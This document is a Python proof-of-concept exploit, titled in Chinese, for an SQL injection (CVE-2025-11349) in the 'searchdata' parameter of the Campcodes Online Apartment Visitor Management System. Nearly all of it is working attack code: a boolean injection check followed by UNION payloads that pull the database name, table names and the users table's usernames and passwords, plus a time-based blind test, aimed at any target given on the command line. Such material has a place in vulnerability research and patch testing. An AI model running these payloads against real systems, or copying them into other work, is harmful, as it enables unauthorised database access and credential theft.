CVE-2025-11349：Campcodes在线公寓访客管理系统SQL注入漏洞

# CVE-2025-11349 - Campcodes Online Apartment Visitor Management System SQL Injection PoC # Vulnerability: SQL Injection in /search-visitor.php via 'searchdata' parameter # Author: arpcyber040 import requests import sys TARGET_URL = "http://target.com/search-visitor.php" def check_sql_injection(url): """Check if the target is vulnerable to SQL injection""" # Test payload for boolean-based SQL injection payload = "' OR '1'='1" params = {"searchdata": payload} try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200: # Check if response contains visitor data (indicates injection worked) if "visitor" in response.text.lower() or "name" in response.text.lower(): print(f"[+] Target appears vulnerable: {url}") return True return False except Exception as e: print(f"[-] Error: {e}") return False def exploit_sql_injection(url): """Exploit SQL injection to extract database information""" # Extract database version using UNION-based injection payloads = [ # Basic test "' OR '1'='1' -- ", # UNION-based injection to extract database name "' UNION SELECT 1,2,3,database(),5,6,7,8,9,10-- ", # Extract table names "' UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- ", # Extract user credentials "' UNION SELECT 1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10 FROM users-- ", # Time-based blind injection test "' OR IF(1=1, SLEEP(5), 0)-- " ] for i, payload in enumerate(payloads): try: params = {"searchdata": payload} response = requests.get(url, params=params, timeout=30) print(f"[*] Payload {i+1} response length: {len(response.text)}") if i == 4: # Check for time-based injection import time start = time.time() requests.get(url, params=params, timeout=30) elapsed = time.time() - start if elapsed > 4: print(f"[+] Time-based SQL injection confirmed (delay: {elapsed:.2f}s)") except Exception as e: print(f"[-] Payload {i+1} failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] Testing target: {target}") if check_sql_injection(target): exploit_sql_injection(target)